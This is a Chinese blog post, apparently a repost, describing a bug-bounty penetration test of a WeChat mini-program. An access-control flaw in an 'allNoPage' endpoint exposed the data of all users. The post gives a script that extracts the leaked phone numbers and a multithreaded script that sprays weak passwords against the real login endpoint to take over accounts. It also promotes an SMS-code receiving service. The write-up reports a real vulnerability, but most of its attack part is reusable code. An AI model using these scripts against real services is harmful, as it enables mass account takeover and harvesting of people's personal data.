记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限

admin 2025年6月6日14:23:59评论21 views字数 3850阅读12分50秒阅读模式
免责声明
由于传播、利用本公众号开心网安所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号开心网安及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限知,我们会立即删除并致歉,谢谢!

1 概述

在某天,一个风和日丽下午,闲来无事,就想着看看漏洞盒子上的专属漏洞某个项目的资产挖掘一下,打算收集信息等等,结果看了没有什么思路,就看到一个同名但是属于资产里面的小程序,于是就开始测试之路。

2 正文

      由于涉及敏感数据太多,下面涉及的相关图片我就只能厚码打上,感谢各位看官的支持与理解!!!

话不多说,正文开始:

直接打开小程序登录,当然就按照我在测试前写有小程序渗透测试项.md文件按照测试下来,结果发现2处存在风险。

记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限

在进入个人信息功能点里面后,我改信息保存后,就发现会加载一个接allNoPage口,然后我点击一看,好家伙,这个平台全部用户都是在显示这里,开始我还有点不信,但是我有专门去搞一个对比这个账户来验证是否还会复现成功。

记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限
记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限

我在其他账户验证的时候,还真就没有验证成功这个越权漏洞,其他账户这个接口竟然显示正常,然后我就在思考,不可能肯定有问问题???

记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限

我就一步步排除,排查,验证,果然发现了这个接口触发条件要满足:

新用户,进入后没有改过个人信息,以及没有创建过企业,不然allNoPage接口(这个接口每个账户都是有的而且都是会在更改个人信息后都会加载一次这个接口)就只会返回自己账户的信息;既然知道,那再次复现就很简单了。ps:(这里插入一个推荐的接收短信验证码平台():http://h5.yezi66.net:90/invite/1191694,欢迎各位看官使用感谢!!!)

既然都拿到了,整个平台的账户数据信息,唯一可惜的就是没有密码,其余账户信息都有,就写一个python脚本把返回json数据提取出来:

import json# 读取JSON文件 - 更新为正确的路径with open(r'd:desktopdd1.json''r', encoding='utf-8'as f:    data = json.load(f)# 提取所有mobile号码并去重mobiles = [item.get('mobile'for item in data.get('data', []) if item.get('mobile')]unique_mobiles = list(set(mobiles))  # 通过set去重# 写入到文本文件 - 更新为正确的路径with open(r'd:desktopddphone1.txt''w', encoding='utf-8'as f:    f.write('n'.join(unique_mobiles))print(f'成功提取 {len(mobiles)} 个手机号码,去重后剩余 {len(unique_mobiles)} 个')
记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限

因为在测试登录时候我就发现登录接口,没有二次验证登录,导致可以进行暴力破解,思路就是利用提取号码去批量请求找出账户和密码都是使用手机号来登录用户,以及弱口令用户,自然就可以接管账户权限了。

记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限
记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限

不测试还不知道这多用户都是使用弱口令以及账户名和密码一样的字符来进行登录。

记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限

为了测试完整,就写了python 来找出到底存在多少用户,使用弱口令以及使用手机号来作为密码登录用户。

import requestsimport jsonfrom requests.packages.urllib3.exceptions import InsecureRequestWarningimport sysimport timefrom concurrent.futures import ThreadPoolExecutor, as_completed# 禁用SSL警告requests.packages.urllib3.disable_warnings(InsecureRequestWarning)# 读取手机号列表with open('d:\desktop\xxx\phone1.txt''r', encoding='utf-8-sig'as f:    valid_phones = [line.strip() for line in f if line.strip()]# 请求头配置headers = {    "Host""xx.xxx.com",    "Xweb_xhr""1",    "User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf2540512) XWEB/13871",    "Content-Type""application/x-www-form-urlencoded",}# 创建会话对象复用连接session = requests.Session()session.verify = False  # 禁用SSL验证session.headers.update(headers)# 登录函数def login(phone):    try:        data = {            "username": phone,            "password""123456"#可以根据自己字典来改参数            "appid""wx118ba89586e5bf68"        }        response = session.post(            "https://xx.xxxx.com/login",            data=data,            timeout=10  # 设置超时        )        if response.status_code == 200:            result = response.json()            if result.get("state"and result.get("code") == 1:                # 实时写入成功结果                with open('d:\desktop\xxx\su.txt''a', encoding='utf-8'as f:                    f.write(f"{phone}n")                return phone    except Exception as e:        print(f"手机号 {phone} 请求异常: {str(e)}")    return None# 主函数def main():    success_count = 0    total = len(valid_phones)    print(f"开始批量登录,共 {total} 个号码")    try:        # 使用线程池加速        with ThreadPoolExecutor(max_workers=20as executor:            futures = {executor.submit(login, phone): phone for phone in valid_phones}            for future in as_completed(futures):                phone = futures[future]                result = future.result()                if result:                    success_count += 1                    print(f"进度: {success_count}/{total} | 成功: {result}")    except KeyboardInterrupt:        print("n用户中断操作,已保存当前进度")    finally:        print(f"n完成! 共找到 {success_count} 个成功登录用户")if __name__ == "__main__":    main()
记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限
到这里就完了,打包提交,领取赏钱!同时也感谢各位看官看到这里,谢谢理解与支持。
记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限

3 总结

1、这个接口发现源于细心,以及对平台业务逻辑掌握与与理解,因为在第一次提交时候,厂商是没有复现成功的,后来我多次沟通以及录制视频讲解,总算问题解决了。

2、在测试任何接口以及任何功能点时候,都要去注意每一个数据包的产生与响应,以及登录平台对账户要求以及对漏洞触发原理掌握都要了解到位,不然就第一次发现了,后面复现不起也白搞。

3、针对不同平台要要测试前写清楚自己测试的项,避免忽略某个漏洞测试,可以关注公众号,后台恢复:“小程序渗透测试项”,即可获取我个人整体书写的md文件,当然也欢迎各个看官补充。

4 祝福

祝福各位看官,提交漏洞,洞洞高危,工作顺利,开开心心!!!

原文始发于微信公众号(开心网安):记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月6日14:23:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记某次小程序渗透测试-垂直越权-导致接管平台多个账户权限http://cn-sec.com/archives/4140671.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息